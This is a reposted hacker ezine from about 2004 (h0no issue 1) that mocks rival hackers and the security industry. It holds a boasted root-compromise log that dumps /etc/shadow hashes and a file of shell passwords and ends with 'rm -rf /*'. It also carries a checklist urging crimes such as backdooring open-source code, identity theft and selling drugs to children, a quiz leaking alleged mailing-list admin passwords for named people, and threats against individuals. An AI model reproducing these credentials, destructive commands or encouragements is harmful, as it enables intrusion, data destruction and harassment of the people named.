[转载][ezine] h0no 1
信息来源：Zone-H#!/local/sbin/rm-rf/whitehat
################################################
## Pr3p4r3 4 a wh1t3h4t h0l0c4ust. ##
## ,--------------------------------------. ##
## >--------------------------------------< ##
## | CONTRIBUTE TO CHAOS | ##
## >--------------------------------------< ##
## | CONTRIBUTE TO MAYHEM | ##
## >--------------------------------------< ##
## | CONTRIBUTE TO IRC RUCKUS | ##
## >--------------------------------------< ##
## | CONTRIBUTE TO BLACKHATBLOC | ##
## >--------------------------------------< ##
## | CONTRIBUTE TO THE UNDERGROUND | ##
## >--------------------------------------< ##
## `--------------------------------------' ##
## The hardest zine to rool the scene. ##
################################################
##::::::::::::::::::::::::::::::::::::::::::::##
##::: ##:: ##: #######::::::::::::::::::::::::##
##::: ##:: ## ##::: ###:::::::::::::::::::::::##
##::: ##:: ## ##:: # ##: ##:::::: #######:::::##
##::: ####### ##: #: ##: ####### ##:::: ##::::##
##::: ##:: ## ## #:: ##: ##:: ## ##:::: ##::::##
##::: ##:: ## ###::: ##: ##:: ## ##:::: ##::::##
##::: ##:: ##: #######:: ##:: ##: #######:::::##
##::::::::::MERRY:XMAS:SEC:INDUSTRY:::::::::::##
################################################
y0. Thiz iz the firzt izzue of the h0no zine.
You will soon realize that irc is not a friendly
place. Another thing to concider is to quit
your sec job and go works at kinkoz. Only after
thiz can you appriciate the use of aim az a CC
tradingz tool. So get your SQL groove on an
start digging up thoze fresh #s. h0no team
trades code for thiz shit. we'll initiate if
you are ex-w00w00 or monkey.org affiate. All
otherz got to give the goodz 1st.
-1.txt Intr0dukti0n
00.txt TEAM TESO confidential advisory
01.txt RM 9x w1th0ut r3m0rs3
02.txt Ruckus checklist
03.txt b4b0-article
04.txt who wantz to win an 0day?
05.txt Blaqh4t l1n3nc3
06.txt 0wn1n di0ad'z m0m
07.txt badpack3t's membership to the narq net (tm)
08.txt iCER & darkacid` secret lives revealed
09.txt darknet owned
10.txt dvdman suicide note (0day giveaway extravaganza!)
11.txt 0day ALERT 0day ALERT 0day ALERT
12.txt ihaq4weed mailspool
13.txt 2fast2furious virus
14.txt The efnet -> seaworld connection
15.txt The hacker quiz
16.txt 18 hackers get axed
17.txt Termcrew get's terminated
18.txt The h0no true story of lance spitzner
19.txt IRC hacker gang exposed
20.txt l33tsecurity's l33t coding
21.txt druid the great honeypot hacker
22.txt anti-chrootkit-toolkit
23.txt h0w t0 0wn m0r3
24.txt dvdman's guide to internet dating
25.txt w0rldz m0st 0wn3d BNC
26.txt Lord Nikon getz hacked up
27.txt the matrix irc
28.txt wh3n g00d h4ck1ng g03z b4d [p4rt 1]
29.txt foxtrot getz busted
30.txt metaman learns the dangers of irc
21.txt crazy ascii!#@$
32.txt 0utr0
-1.txt-~-~-~ Intr0dukti0n
Rulez of engagment.
1. do not use irc and expect to be safe.
2. do not think you are better than us, you are not.
3. own everyone you can.
4. post to usenet, it will make a comeback.
5. mail bugtraq, make sure to attach your shadow file.
th3z3 ar3 all th3 rul3z 3y3 g0t s0 f4r. If 3y3 c4n
th1nk up 0f 4nym0r3 3y3 w1ll p0st th3m t0 f-d l1st.
As a w4rn1ng, any0n3 n0t us1ng th3 int3rn3t f0r
3nt3rt41nm3nt purp0s3z 0nly w1ll g3t 0wn3d. 4ny0n3
pr0f1tt1ng fr0m s3cur1ty buss1n3ss w1ll g3t 0wn3d.
And 4ny0n3 try1ng t0 st34l 0ur 0d4yz w1ll g3t 0wn3d
twice!!
n0w th4t y0u kn0w th3 rul3z, 1t w0uld b3 much s4f3r
f0r y0u t0 c4nc3l y0ur a0l acc0unt.. d0nt y0u th1nk?
00.txt-~-~-~ -1.txt TEAM TESO confidential advisory
1337 2004/10/01 leaks in teso crew.
==== TESO Informational =======================================================
This piece of information is to be kept confidential.
===============================================================================
Description ..........: leaks in teso crew
Date .................: 2004/10/01 13:00
Author ...............: h0no
Publicity level ......: underground
Affected .............: teso, mainly scut
Type of entity .......: leak
Type of discovery ....: vulnerability
Severity/Importance ..: high
Found by .............: anonymous teso member
===============================================================================
teso crew contains a leak in their group.
It seems as if teso has been nondisclosure for a very long time. Of course
their group consists of mainly blackhats, but there is a few leaks on board.
It it recommended that teso give up all of their personal warez to h0no, in
hopes that we will not distribute their vital group information. Also, as
a sign of good will, add h0no rux to the ircsnet motd.
===============================================================================
01.txt-~-~-~ RM 9x w1th0ut r3m0rs3
<Substance> fuck off.
WELL HOW RUDE WAS THAT! ILL SHOW YOU HOW RUDE IT WAS, IT WAS APPALLINGLY RUDE!!
SO THIS HAPPENED....
-bash-2.05b$ ssh 9x.mine.nu -l cr00k
[email]cr00k@9x.mine.nu[/email]'s password:
_..,,,iS#s=,.
db ,s#S$$$$$7~` $$$$$$7`
`' d$$$$$$$$7` `^'~*?| ,)S##ss,,._
,d$$b, i$$$$$$$$i : ,d$$$$$$$$7*~`
$$$$$$ $$$$$$$$$: i d$$$$$$$$7` _.,ss##SS$
`?$$7` :$$$$$$$$$ _,d$ i#ss,,($$$$$$$7 :$$$$$$$$l
,d$b,`'*?$$$$$$: $$$$$ l$$$$$$$$$$$$i i$$$$$$$: ,#s,._
$$$$$S#s, `'*?$b,`~*?$ i$$$$$$$$$$$$$b, ,$$$$$$7` ,d$$$$7`
`?$$7***~~~~?s,`^~ + l$$$$$$$$`'~*?$$$#s,._,d$$7*~` `~*?S#s,.
`,s#S$$$S#s,``?$7*`,$$$$$$$$i `^''~*?S#ss,,.._ `^'' ~
+ d$$$$7*~*?$$7 .,d$$$$$$7*` ,s#S$$7*~` `'?$$$$$$$#s,
:$$$$7 d$b`7` d$$$$$7*~`, d$$$$$7` d$$ :$$$$$$$$$i
`/$$b `~` 7~`^`,ss#S7` :$$$$$$i :$$$i $$$$$$$$$$ll ll
`'* `*?$$7*` `'~*?$$$$, `7*`,MYDKNIGHT$i
` db ,s#s, ``^ ' `'~*?$$$$$$$$
`' `?|7` db, `^''~~+
`'
[cr00k@alb-68-172-1-249 cr00k]$ uname -a
Linux alb-68-172-1-249.nycap.rr.com 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003...
LOoK MaH! i d0nt PATCH!
[cr00k@alb-68-172-1-249 cr00k]$ id
uid=503(cr00k) gid=503(cr00k) groups=503(cr00k)
D0nt y0u n33d m0re!!!!!!!!
[cr00k@alb-68-172-1-249 cr00k]$ ./.break
sh-2.05b# id
uid=0(root) gid=0(root)
The worlds oldest group, owned by the worlds oldest exploit... kinda makes
sense doesnt it?
SO WHO BE IN THE MOTHER FUCKING HOUSE?
sh-2.05b#
sh-2.05b# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/html/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
jcat:x:500:500::/home/jcat:/bin/bash
saraq:x:501:501::/home/saraq:/bin/bash
trancend:x:502:502::/home/trancend:/bin/bash
cr00k:x:503:503::/home/cr00k:/bin/bash
ces:x:504:504::/home/ces:/bin/bash
m0lted:x:505:505::/home/m0lted:/bin/bash
lnardacci:x:506:506::/home/lnardacci:/bin/bash
camole:x:507:507::/home/camole:/bin/bash
sh-2.05b# cat /etc/shadow
root:$1$BpVn3lrL$AhVq8zNr4xaGPpJVNBB4n.:12341:0:99999:7:::
bin:*:12341:0:99999:7:::
daemon:*:12341:0:99999:7:::
adm:*:12341:0:99999:7:::
lp:*:12341:0:99999:7:::
sync:*:12341:0:99999:7:::
shutdown:*:12341:0:99999:7:::
halt:*:12341:0:99999:7:::
mail:*:12341:0:99999:7:::
news:*:12341:0:99999:7:::
uucp:*:12341:0:99999:7:::
operator:*:12341:0:99999:7:::
games:*:12341:0:99999:7:::
gopher:*:12341:0:99999:7:::
ftp:*:12341:0:99999:7:::
nobody:*:12341:0:99999:7:::
rpm:!!:12341:0:99999:7:::
vcsa:!!:12341:0:99999:7:::
nscd:!!:12341:0:99999:7:::
sshd:!!:12341:0:99999:7:::
rpc:!!:12341:0:99999:7:::
rpcuser:!!:12341:0:99999:7:::
nfsnobody:!!:12341:0:99999:7:::
mailnull:!!:12341:0:99999:7:::
smmsp:!!:12341:0:99999:7:::
pcap:!!:12341:0:99999:7:::
apache:!!:12341:0:99999:7:::
squid:!!:12341:0:99999:7:::
webalizer:!!:12341:0:99999:7:::
xfs:!!:12341:0:99999:7:::
named:!!:12341:0:99999:7:::
ntp:!!:12341:0:99999:7:::
gdm:!!:12341:0:99999:7:::
postgres:!!:12341:0:99999:7:::
jcat:$1$JKs9EHee$hjoNLfcuzOfalohwn8/L6.:12345:0:99999:7:::
saraq:$1$gzFQwlIT$vE6J.gYvTvkDm6K0tUp3l0:12346:0:99999:7:::
trancend:$1$jEZVxEvU$HlXOIKWNUBNBrW/frETgq0:12346:0:99999:7::: <-- st0len l0g1n
cr00k:!!:12392:0:99999:7::: <--- you wish k1dz
ces:$1$ZbIS8vOT$HqILHTydPTs/cdU9hUd7R.:12357:0:99999:7:::
m0lted:$1$vXWEpRAj$duI9ALpxN.brtd8XyCJ3Z1:12358:0:99999:7:::
lnardacci:$1$abkZERvN$SKxvg4UFAyDVk76l6C.G8/:12362:0:99999:7:::
camole:$1$Ch7nvcTJ$kkI1ZX/rLRhHzlGRTlKiS0:12367:0:99999:7:::
And what elite distr0 they have running?
sh-2.05b# cat /etc/issue.net
Red Hat Linux release 9 (Shrike)
Kernel \r on an \m
oh shit, they dont have yes.. thats right, a record 18 local root exploits
available...
well, hardly seems much point in backdooring it does it?
naaaaaaaah, but we do anyhow....
[cr00k@alb-68-172-1-249 cr00k]$ mount -X -X -X
sh-2.05b# id
uid=0(root) gid=0(root) groups=503(cr00k)
Tripple X, your mission if you choose to accept it is to uncover the
secret 9x and global hacker grouping terrorist organisation, the
International Underground Alliance (iua)...
in short, /home/jcat/iua.zip
---------[BEGIN EXAMPLE OF THE CONTENTS]-------------------
The International Underground Alliance
Mission: To bring the H/P scene back to its former strength and skill level- and
beyond.
Problem: The H/P scene is fading. Where the true H/P'er fades away a newbie AOL
-~-~-~ d00d i use AOL AND I ()WNED YOU! -~-~-~
script kiddie comes to take his place. These kids multiply on an insane level.
-~-~-~ talk about MAD sk1llz -~-~-~
In the old days H/P'ers (who I will just refer to as Hackers from here on out)
used to share just about any information they came across. This led to vast k
-~-~-~ until we g0t raided for it. -~-~-~
nowledge amongst Hackers, so great of knowledge that corporations and organizati
ons world wide soon came to fear the H/P scene. What they did was impliment law
s and hire their own white hats for protection. Thanks to this, any information
a Hacker shared would quickly be scooped up not only by some script kiddie, but
the feds and the very corporation or organization the Hacker had discovered the
information from. For this reason Hackers generally no longer share info.
-~-~-~ well not to you, your box had no 0day. -~-~-~
Background: The IUA was founded in 1998 as a group of groups and other major en
tities in the H/P scene for the purpose of organizing sheer power. Shortly afte
r, it was realized this power could do more than 0wn lamers; it could make the s
-~-~-~ the p0wer oh the p0wer! -~-~-~
cene right again. It was seen that the scene was fading due to nobody sharing i
nfo, and of course to the gargantuous numbers of lamers flooding in, thanks grea
tly in part to the overwhelming success of the Hacker ideal of 'information shou
ld be free'. Point and click tools to devastate global networks were developed
-~-~-~ FUQN WINNUKE Y()! CRASH THE WORLD! -~-~-~
by elite Hackers, and being that information should be free, it was shared with
the world. Well, it worked for a while, but this can't go on any longer. The I
UA is here now.
The premise: If Hackers were to share information freely, it would have to mean
they could do so without the fear of it getting out to the feds, lamers, and or
-~-~-~ you have no 0days.. the lamers -~-~-~
ganizations (and ESPECIALLY organizations of lamers). Well as sad as it is to s
-~-~-~ have more 0day than you... -~-~-~
ay, not even if every "Elite" in the world joined up with the IUA would we ever
have enough power to annihilate all of those. So here's what's being done...
-~-~-~ you cant annihilate shit... -~-~-~
The fix: A network based on the United States militarys own Secret Internet Prot
ocol Router NETwork (SIPRNET) is being created to form a vast, secure, compartme
-~-~-~ uh0h, i sense a gov linkage... -~-~-~
ntalized BBS-like safe haven for Hackers. This is a fully functional network; m
eaning WWW, Telnet and everything else will work... peer to peer anyways. As fa
-~-~-~ tin cans and string!?! YAY! -~-~-~
r as communicating with the regular Internet goes I think anybody with any amoun
t of skill can safely handle that manuever. We're also dabbling in the idea of
an anonymous link to the Internet using Onion Routing.
-~-~-~ ideas ... ideas... since 1998 -~-~-~
The pros and cons: The biggest pro I can think of has all ready been mentioned;
we will have a safe haven to reform and unite the H/P scene in order to grow li
ke we once did. Due to feds, lamers and orgs having our info on a 0-day basis o
ur tactics and skills have been matched. This is unsatisfactory; we used to rul
e the Internet, and it should be that way still. Not only have we been matched,
-~-~-~ how could you rule the internet? -~-~-~
but in most cases surpassed. The biggest con is the fact that we will have a c
-~-~-~ at least the mil patches its kernel.. -~-~-~
entralized location for sensitive information- making us a target for interested
parties like authoritive agencies. Also, since this Alliance is comprized of t
he most elite in the world we will also be a target for lame kiddies trying to p
rove something. There are at least a hundred pros and cons I can think of like
the ones above, but it seems as if all the cons, with a little work, can be over
come. Most of them at least- the "insider" risk will probably always be evident
, but all I can say is with enough support from the worlds greatest Hackers, who
in their right mind would want to fuck with us? Also, in another light, the fe
ds might even leave it alone... at least on a full frontal attack stand point.
If we were to create this network and keep all new information to ourselves, the
n the malicious hack attack percentage would drop around the world to almost nul
l. That's something agencies can appreciate because big wigs will take credit f
or the drop; so be it. What would people rather have; random murders, robbings
and gang violence, or some organized mobster action that might murder once in a
while? I think the latter, for lack of a better example.
Details are being worked out, pros and cons are being discussed. Do's and Don't
's, Right and Wrong's and everything else between is being brought up in #IUA on
EFNet. I invite you to join and share your comments, questions or concerns and
mostly ask for your support. Without a vast number of skilled individuals this
can never become a reality. As lame as it sounds I ask you to stay in #IUA and
idle if you must to show your support. With a few we can encourage many, with
-~-~-~ so theres the secret hangout! :) -~-~-~
many we can accomplish anything we want.
Oh, and keep this to yourself... there's a reason why you were personally invite
d instead of seeing this text blasted across the net.
-~-~-~ mailto: *!*@hotmail.com -~-~-~
-Lord Camel, foreman for the IUA.
-~-~-~ i smell taxes... 0day taxes... -~-~-~
---------------------------------------[End of info]----------------------------
oh sh1tz, tHERE GOING TO TAKE OVER THE WORLD! I PHEAR THEM!!!
i like the bit about there mission not getting compromised... its a bit
fucked now.
================================================================================
a look at /root/shells.txt
---------------------------------[SHELLS.TXT]-----------------------
9x.mine.nu jcat/71a
dtmf.org audiovox/5H
benztown.ghetto.org jcat/71a
---------------------------------[END SHELLS]-----------------------
altho wtf does those passwords mean? i mean shit, i WANT to see what
more IUA 0day our sekret cr00k'd mission can unviel....
sh-2.05b# cd /home/jcat
sh-2.05b# ls
9x bx ebay ircrc.global mp3 yahoo.txt
as crack3.irc epic4-1.0.1 iua.zip output.txt
benz dev epic4-1.0.1.tar.gz l s
blah dt ircrc.example lice420pre7.tar.gz sm
sh-2.05b# cat as
ssh -l subz assault.cripplekids.net
sh-2.05b# cat benz
ssh -l jcat benztown.ghetto.org
sh-2.05b# cat 9x
ssh -l jcat 9x.tc
n0w thats skillz, using skripts to login to b0xes....
theres only one thing left to do....
hijacked an empty account... CHECK
backdoored the system to get root... CHECK
installed a keyboard logging device... CHECK
YOUR MISSION JAMES BOND BEGINS HERE. CATCH ALL THE IUA SUSPECTS OFF GUARD AND
BACKDOOR THEIR SECRET NETWORK,SELLING ACCESS TO THE EFF BEE EYE AND OTHER 0DAY
ENTITIES....
until substances signs in to some other box!!!!! see you s00n :)
-------------------- THE FINAL CHAPTER.....
Well after a while of keylogging and endless slacking off, it appears he doesnt
have ANY skills or ANY codes just a lot of lackeys...
rm -rf /*
<snow> he didnt deserve his box to be rm'd!
<parano|a> Whoa! Who says im on his side?
<Substance> I fucking hate you.
...
And the irc logs continue...
either way, now the box is br0ken :) HOPE YOU DONT GOT FAR TO WALK MOFO!
Extr4 b0nus c0v3r4g3 0f th3 iua!!
<Manelius> And remember, we don't want IUA to be publicly known, so please
don't talk about us in a channel or so.
[url]http://darpa.info/breasts.txt[/url] l: iua p: IUANet
here is a mirror:
Broadcasted Rolling Encryption And Scrambled Transmission System
Broadcasted: Using a military technique known as OTAR, or Over The Air Rekey,
the encryption key is sent out over the network to its trusted
systems/users for an automatic update.
Rolling: The rolling, or updating, of the encryption key will be at random
intervals but within set parameters; say twice a day at random
times.
Encryption: Our encryption type is still undecided, but it shall be strong
encryption
--military grade 1024bit.
And: In addition to broadcasted rolling encryption, the actual data,
after being encrypted, will follow a scrambled transmission
scheme.
Scrambled
Transmission: The scrambled transmission system will allocate actual data
transfering
System across the network into groups of packets. Using start and stop
packets much like start and stop bits work, we can scramble the
transmission after it has been encrypted; achieving a type of
dual encryption. Taking these groups of packets, for example a
series of 5 packets, we can perform a method of scrambling it
from a 12345 In Order series into a 52341 Scrambled series of
packets. Start and stop packets will inform the system when and
where in the data transfer to engage the descrambling code. The
scrambling/descrambling code will be a seemingly random, but set
code based on another military technique called WOTD, or Word Of
The Day. WOTD will be a database of randomly generated
scrambling code where each piece of code, or rather each scramble
(ie 52341 would be one and 14235 would be another etc), will be
given a code word. The WOTD will also be rolled in and
transmitted in sequence with the encryption key using the OTAR or
"Broadcasted" scheme. Naturally the encryption key and WOTD
databases will be considered "Top Secret" and thus hidden the
best way possible and known only to the developers of BREASTS and
necessary network administrators.
Notes: In order for the OTAR/Broadcasted system to work, since it broadcasts
the updated key to all systems and users, they would have to be
connected to the network at the precise time the rolling is taking
place. This is not going to happen in all cases. To work around this
issue the OTAR still takes place, however for those systems and users
that are not connected we will have in place a certification and
blacklist system. Systems and users will have a certificate, where each
certificate is unique and cataloged with an identifier for administrator
use. The reason for this is so if we decide to blacklist somebody all
we have to do is blacklist that certificate. In addition to being the
"key" to the network, the certificate will validate whether or not the
user has access to get the OTAR updates. Blacklisted certificates will
not get the updated crypto key or WOTD. Being that the rolling
sequence will take place a couple times a day the margin for
blacklisted intruders to do any damage is minimized by not only will
they be "k-lined" from the network upon administrators blacklisted their
certificate, but once the roll occurs they will be automatically
"d-lined". Like I was saying about users not currently connected to get
the OTAR updates... a non-blacklisted certificate will be enough of an
endorsement for that system or user to initiate an automatic Special
OTAT request. OTAT, or Over The Air Transfer, is another military
technique which is nothing more than an unscheduled OTAR. Naturally
there will be a limit as to hold "old" the certificate can be. If a
user or system has not logged onto the network and received an
encryption/WOTD update in oh, we'll say 14 days, then that certificate
should be considered Red Flagged. The Red Flagging system will be
automatic. The system will keep track of which certificates were last
updated and if a certificate reaches the 14 day limit or whatever limit
we deem suspect, then it will be Red Flagged within the system. Once a
Red Flagged certificate performs a handshake with the network and
attempts to request a Special OTAT, that certificates system will be
kept in "limbo" and not granted access to any network functions or
updates. Simultaneously a message will be broadcasted to all
administrators, informing them a system or user is in limbo due to being
red flagged. At that time any administrator can respond after
investigating who this certificate belongs to, and after making a
judgement call can either blacklist the certificate, at which time the
limbo certificate system will be k-lined and then d-lined after the
next update roll, or it will be granted the Special OTAT request and
consequently allowed its previous access to the network. The only real
flaws in this system are that A.) what's to keep users from handing out
their certificates, and B.) what if a user gets arrested/detained and
their computer gets confiscated. Well, when somebody finds a way to
keep an insider from potentially doing any wrong I will show that
person the door to millions of dollars. In addition we possibly have
a C.) the BREASTS system might drastically slow down the system, but
we won't know until we test it.
0h sh1t, th4tz s0m3 sc4ry sh1t. t00 b4d th3y c4nt c0de 1t. l3ss10n 0f t0d4yz
0wn1ng w4z t0 n3v3r fl4m3 3l1t3z 0n irc.
02.txt-~-~-~ Ruckus checklist
YOUR NEW PLAN OF ACTION
FOLLOW THESE STEPS
DO NOT LET UP
HACK 4 LIFE
WE NEED TO HACK
CHECKOFF EACH TASK WHEN COMPLETED
----------------
[ ] QUIT IRCING
[ ] QUIT SITTING THERE
[ ] QUIT GOING TO SCHOOL
[ ] QUIT YOUR JOBS
[ ] STEAL FOR A LIVING
[ ] ROB WHITEHATS OF THEIR LAPTOPS
[ ] GO SELL BLOOD PLASMA TO PAY FOR FOOD
[ ] ONLY EAT CHEAP TACOS
[ ] LIVE AT THE LIBRARY
[ ] HACK FROM THE LIBRARY
[ ] STEAL ADMIN ACCESS
[ ] STEAL BOOKS DAILY AND PAWN THEM
[ ] STEAL PEOPLE'S WALLETS
[ ] USE THEM FOR IDENTITY THEFT AND TO BUY MORE TACOS
[ ] GO AND HACK SOME BITCHES
[ ] SCAN SECURITY COMPANY NETWORKS DAILY
[ ] PASSWORD GUESS EVERY ACCOUNT YOU CAN
[ ] SOCIAL ENGINEER USERS AND ADMINS
[ ] LIE TO EVERYONE YOU KNOW
[ ] START WARS AMONG THE SECURITY INDUSTRY
[ ] HACK RANDOM BOXES AND WAIT FOR OTHERS TO HACK THEM
[ ] OWN EVERYTHING
[ ] RM EVERYONE WHO SPAMS
[ ] RM EVERYONE WHO MAKES MONEY FROM SECURITY
[ ] RM EVERYONE WHO HELPS OTHERS MAKE MONEY FROM SECURITY
[ ] CONVERT OTHERS TO BLACKHAT
[ ] DO NOT TALK TO PRESS
[ ] MAKE UP RUMORS AND SPREAD THEM
[ ] DUMPSTER DIVE AT SECURITY COMPANIES
[ ] BREAK INTO WHITEHATS HOUSES
[ ] TAP WHITEHAT'S PHONES, FAXES, AND STEAL THEIR MAIL
[ ] AUDIT CODE EVERYDAY
[ ] DO NOT TELL OTHERS OF YOUR VULNERABILITIES
[ ] MAKE FUN OF ALL OTHER ZINE WRITERS
[ ] MAKE FAKE EXPLOITS
[ ] EMAIL BOMB EVERYONE ON FULL DISCLOSURE
[ ] BACKDOOR ANY SOFTWARE YOU CAN AND DISTRIBUTE IT
[ ] GET RID OF YOUR GIRLFRIEND
[ ] GET RID OF YOUR FAMILY
[ ] CONCENTRATE ON OWNING
[ ] HAVE NO REMORSE
[ ] JOIN WHITEHAT GROUPS AND GAIN TRUST
[ ] RM THEM WHEN YOU HAVE ACCESS
[ ] DONT LET PEOPLE FUCK WITH YOU
[ ] DO NOT NARC
[ ] DO NOT TALK TO NARCS
[ ] RM NARCS
[ ] IMPROVE OPEN SOURCE CODE AND SUBMIT IT WITH BACKDOORS
[ ] CONVINCE YOUR FRIENDS TO COMMIT MAYHEM
[ ] SELL YOUR TV
[ ] DONT WASTE TIME PLAYING GAMES
[ ] SNIFF EVERY NETWORK YOU HAVE ACCESS TO
[ ] SELL DRUGS TO THE KIDS OF WHITEHATS
[ ] THREATEN WHITEHATS WITH LAW SUITS
[ ] BECOME A WHITEHATS ONLINE GIRLFRIEND
[ ] SET UP LOGGING PROXIES AND POST THEM TO PUBLIC
[ ] REMEMBER THAT ALL WHITEHATS SMELL
[ ] REPORT ALL EMAIL FROM SECURITY COMPANIES AS SPAM
[ ] FLOOD ALL IRC CHANNELS
[ ] FIND PHONE NUMBERS FOR ALL PEOPLE IN SECURITY
[ ] GIVE KIDS SLINGSHOTS AT DEFCON
----------------
TOTAL POINTS: [ ]
----------------
DID YOUR SCORE COMPARE WITH h0no'S?
0 - 5 : WHITEHAT
1 -10 : NEWBIE
10-20 : HELPFUL
20-30 : DANGEROUS
30-40 : BLACKHAT
40-50 : DEADLY
50-60 : BOW/HAGIS/~EL8/CITADEL/PHC
61 : h0no
03.txt-~-~-~ b4b0-article
Here is future b4b0 article. I hate these guys. th31r gr0up h4z m0re
s0cial rej3ct10n th4n th3 0pz 1n d0rkn3t. L3t m3 f1nd 0ut th4t you klutz
r fuck1ng w1th h0no. y0u w1ll c4tch a c4se of 0ur d0t sl4sh cl4n. N0,
4 r34l, I'll fuck y0u up w0rs3 th4n th3 t1me we cut dem0c0w's bre4k linez
in Utah. h0h0. 4 y3arz s1nce th3 l4st z1ne r3lease, 4nd ev3ry 1ssue
suckz anyw4yz.
----------------------------------------------------------------------
|A DAY IN THE LIFE OF MIKECC THE PIMP b4b0 MEMBER FROM THE WEST COAST|
----------------------------------------------------------------------
Sup.
My name is mikecc and im here to tell you about a day in the life
of a b4b0 operator.
Friday, I go to school. I made a new bench record! YEYEYEY 505050 YEYEYEY
I then go over to tdog whoa's crib, and I chill there for a bit but then
elliot and chaz come and pick me up (illegally) in the car. we go back to my
crib and i drive elliot home (illegally) in the car.
If you dont know im 15 so im not old enough to drive yet, but what are ya gonna
do thats a black hat for you.
So later on, on the drive home, i go to dtballers places for some party. theres
some femes there so i decide to chill, but then suddenly, this trick edog
decides to sock me in the mouth. bad decisiion i fuck his ass up yo and i get
him on to this car and spit my blood and tooth on him
now i gotta get a root canal and braces again
(which reminds me
someone please pm me on efnet and tell me what a root canal feels like)
anyway i come home on irc and falme some ufckin lamers and then i go
and get banned from #phrack for the 128389217398217498217 time
when is bobdash gonna own me f00l (ye im calling u out)
mike
th1z 0n3 w1ll b3 cl0s3, h4ck3rb0b vs m1k3cr4mp. l3t th3 0dayz fly!
04.txt-~-~-~ who wantz to win an 0day?
Hello and welcome! This is h0no's first episode of the new smash
hit 'who wants to win an 0day?'. I am your host, rm slashbin.
To start things off today's questions focus on mailing list
administration, so I hope you got your qmail secured. The game
is simple. We ask a question, give the 4 multiple choice
answers, then let one of you, our worshiping home readers pick
between them. If they get all of the answers correct they will
recieve an 0day for dimeware... I hope you excuse our shitty
prize, ADM's had a slow half-decade.
rm slashbin:
Our reader today is bx. He hails from shcrew and currently
denies every coding in his life. He is also known to change
his isp often, in hopes that the onslaught of DDoS attacks
will one day end. His main goal in life is to trade in his
shells for a shiny badge and join the likes of k2 as a fed.
Sounds like he's a winner already!
rm slashbin:
Here is our first question. Please listen to all the possible
answers and as always if you think you need help you may use a
lifeline.
Question #1
What is the admin password to [email]osx-security-bounces@lists.joshie.com[/email]?
A) passwd C) 123456
B) hvacm28 D) Maria1245567sxi
bx:
Well, my password is C, and I know darkacid's is D. osx, that is
based off of fbsd... so I'll say B! The answer is B rm.
rm slashbin:
Good answer, B was correct. I like how it is alphanumeric, yet
not a dictionary word. On to the next round.
Question #2
What is thegnome's password to the widdershins list?
A) f@tg0th C) ikazba
B) HP&I D) qwerty
bx:
mmmmm. I am not too fimilar with widdershins list. I know
thegnome is in nmrc, and they like plain text passwords. So it's
between C and D. qwerty is just to obvious...
rm slashbin:
We need an answer.
bx:
ARGGGGHH!!! this one is tougher to detect than my SH-crew rk! I'll
take a wild stab and say C. ikazba. Final answer.
rm slashbin:
... ... ... SH KIT, buhahahahhaa.
... ...
...
oh yea, C. That's right. On to round 3.
bx:
Holy shit! I can taste the warez!
Question #3
ecgaov is [email]jeff@barrows.net[/email]'s password for what whitehat mailing
list?
A) [email]cissp@fireflynetworks.net[/email] C) [email]narcs@l33tsecurity.com[/email]
B) [email]porno@whitehats.com[/email] D) [email]core@english.noops.org[/email]
bx:
C is only for me, icer, and my good buddy atomix. And D is
for wanna be security professionals like kf. This jeff guy
seems like the real deal. Maybe he'll give me a shell on
fireflynetworks.net. A. My final answer.
rm slashbin:
Correct. And btw, jeff is an admin there. Round 4 comming
up!
Question #4
[email]info-sec-bounces@mailman.acomp.usf.edu[/email]'s admin is [email]campoe@usf.edu[/email].
What is his password?
A) GED C) soudez
B) FBI D) qwerty
bx:
I'd like to use a lifeline. I'd like to phone a friend.
rm slashbin:
you fucking lamer. Who would want to talk with you?
bx:
;(
I'll call awk, he's an old #darknet buddy. I'll split the 0day
with him.
*RING**RING*
awk:
GRRRAWLL, I EAT PROTEIN, EGGS & STEAK, GRAWWLL
bx:
Hi awk. I love you. You helped make hack.co.za my central wget
haven. And now I need more of your help.
awk:
ARGHS, YOU ARE BIGGER LEACH THAN ME. GOV-BOI DOESNT SHARE WITH ME
ANYMORE.. AND NETHER DO YOU!@#$!@#
bx:
I dont have anything but this DoSoSoS-pirc.mrc ;(
Since awk's name starts with an a, and mine with a b, I think I'll
go with C. my final answer.
rm slashbin:
oh shit. with awk out of your dcc auto gets how are you ever
going to own anything bx? Wait, C is the right answer.
Now you are just 1 more question away from the warez!
Question #5
Who's password is tumuxa?
A) jericho's @ the narcs list. C) jericho's @ the gayz list.
B) jericho's @ the attrition list. D) jericho's @ the abc list.
bx:
I know this one! I know this one! It is B. jericho isn't on
any of the other lists!! Final answer! Final answer! Give me
the warez! #darknet here I come!
